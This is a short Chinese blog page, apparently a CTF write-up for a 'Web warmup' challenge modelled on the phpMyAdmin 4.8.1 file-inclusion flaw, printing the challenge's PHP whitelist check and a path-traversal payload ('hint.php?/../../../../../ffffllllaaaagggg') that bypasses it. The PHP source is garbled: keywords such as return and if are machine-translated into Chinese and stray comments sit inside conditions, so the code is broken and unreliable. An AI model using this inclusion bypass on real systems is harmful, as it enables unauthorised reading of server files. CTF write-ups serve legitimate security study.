当前位置: 首页 > 后端技术 > PHP

BCNSCTF写稿

时间:2023-03-30 02:40:38 PHP

[toc]题目Webwarmup的原型是phpmyadmin4.8.1的任意一个包含漏洞发现源代码的文件"source.php","hint"=>"hint.php"];if(!isset($page)||!is_string($page)){echo"你看不到它";返回假;}if(in_array($page,$whitelist)){返回真;}$_page=mb_substr($page,0,mb_strpos($page.'?','?'));如果(in_array($_page,$whitelist)){返回true;}$_page=urldecode($page);$_page=mb_substr($_page,0,mb_strpos($_page.'?','?'));如果(in_array($_page,$whitelist)){返回true;}回声“你看不到它”;返回false;}}if(!empty($_REQUEST['file'])不为空&&is_string($_REQUEST['file'])isstring&&emmm::checkFile($_REQUEST['file'])上面定义的checkfile方法的返回值为true){include$_REQUEST['file'];exit;}else{echo"
";}?>payloadhint.php?/../../../../../ffffllllaaaagggg